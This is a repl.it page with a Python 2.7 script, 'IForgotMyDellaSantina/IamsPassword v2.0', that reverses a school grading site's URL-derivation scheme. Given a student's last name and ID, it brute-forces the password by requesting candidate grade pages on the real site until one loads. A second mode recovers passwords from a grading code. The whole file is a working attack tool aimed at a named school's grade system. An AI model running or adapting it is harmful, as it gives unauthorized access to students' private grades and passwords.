repl.it
Python 2.7

No description

fork
loading
Files
  • main.py
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import time
import requests

alphanum = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
k = "Term11920APStats"

def get_code(s, t):
  s = ''.join(x for x in s.lower() if x != " ")
  t = ''.join(x for x in t.lower() if x != " ")
  result = ""
  length = max(len(s), len(t))
  length = min(length, 24)
  for i in range(length):
    n = p = 0
    if i < len(s): n = alphanum.index(s[i])
    if i < len(t): p = alphanum.index(t[i])
    code = ((2 * n + p) ^ 13) % (len(alphanum) - 1)
    if code > 0: result += alphanum[code]
  return result

def get_password(direct, name):
  poss = [""]
  name = name.lower() + "0" * 10
  for i in range(len(direct)):
    code = alphanum.index(direct[i])
    newposs = []
    for n in range(len(alphanum)):
      for p in range(len(alphanum)):
        if ((2 * n + p) ^ 13) % (len(alphanum) - 1) == code:
          if alphanum[n] == name[i]:
            if alphanum[p] == alphanum[p].lower():
              newposs += [x + alphanum[p] for x in poss]
    poss = newposs
    if poss == []: return poss
  return poss

def from_name_id(lastn, pass_p, sleeptime=0):
  lastn = lastn.lower()
  request_p = "http://www.lhs.kennyiams.com/InternetGrades/" + k + "/"
  request_s = ".html"
  for pos in range(len(pass_p) + 1)[::-1]:
    for i in "abcdefghijklmnopqrstuvwxyz":
      passw = pass_p[:pos] + str(i) + pass_p[pos:]
      code = "r" + get_code(lastn, passw)
      r = requests.get(request_p + code + request_s)
      if r.status_code == 200:
        return passw
    #   time.sleep(sleeptime)

if __name__ == "__main__":
  print
  print "IForgotMyDellaSantina/IamsPassword v2.0"
  print
  k = raw_input("Enter grading URL (e.g. {}) > ".format(k))
  print
  print "Input Last Name + Student ID"
#   print "Mode 2) Input Last Name + Grading Code"
  print
#   mode = input("Select Mode > ")
#   while mode not in [1, 2]:
#     mode = input("Select Mode > ")

#   print "You have selected mode " + str(mode)
#   print

  mode = 1

  if mode == 1:
    lastn = raw_input("Last Name > ")
    pass_p = raw_input("Student ID > ")
    print
    print "Please wait..."
    passw = from_name_id(lastn, pass_p)
    print
    if passw == None:
      print "No matches found."
    else:
      print "Found match: " + passw

  elif mode == 2:
    lastn = raw_input("Last Name > ")
    direct = raw_input("Grading Code > ")[1:]
    print
    print "Please wait..."
    passw = get_password(direct, lastn)
    print
    if passw == []:
      print "No matches found."
    else:
      print "Found matches: " + ", ".join(passw)

Fetching token
?